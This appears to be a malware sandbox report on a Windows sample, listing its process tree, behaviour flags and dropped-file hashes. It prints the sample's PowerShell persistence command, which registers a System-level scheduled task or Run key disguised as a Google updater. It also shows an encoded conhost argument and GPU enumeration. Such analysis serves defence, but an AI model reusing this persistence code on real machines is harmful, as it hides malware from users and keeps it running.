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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5072
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:4144
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:3548
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:3796
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:1828
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4340 -
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2672
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:312
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
368KB
MD59a2f0a0ff1d49591fc4ef0d441b23109
SHA188b760158d6b7d1dd3c42f98cc6930fb22fa4fa4
SHA256b85eba18e166fe4fc549031d71575fa8ad4b3b1151bc9c5798b3c952fff31851
SHA512fbea212a88a8482c6a186123820a65a9f778b0e73cdfad1203a579233d4fdf5fae1f2dcd6d40f51eca7d7b25e75bfeebb0b85934b5b71ec51321981c5ab115f1
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Filesize
644KB
MD50ac2bde41a2834b6aaeb70e67e701687
SHA15d0a176384ba58abd0cd78b55d2142d581101e99
SHA25673b4cea6f69759d428fe4ba1839dedf76a0a1b442b6a63e59bfd57f2e4915a0e
SHA512d0f9b1d071d90a231e6383d5062dab32b2369f898e46dfb9d4027b8b7338ed648b05e8c11b0f3c75756d4c6d0887686eea1de378b39685cf1f2637b9607ad58a
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Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
944B
MD56d3e9c29fe44e90aae6ed30ccf799ca8
SHA1c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA2562360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
SHA51260c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
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Filesize
1KB
MD5d5cbd2fca9cb176ad25444fa061f848d
SHA1720cbda940ec7c13e9c0fb6f4725dd281507a94b
SHA2564e210dede619a6a139357f24d89df3e27d92519b3cc9bb9fcd0bbb8158f65230
SHA512fb80bcd8e49fff4d4a4fcb5844691d674cd749cbc84b75feac37b83401b8beff0ee9c6f122f683c98da9b5ab15d4dd803c7e2aea8721f90f60dbb9d19c9a0eb2
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5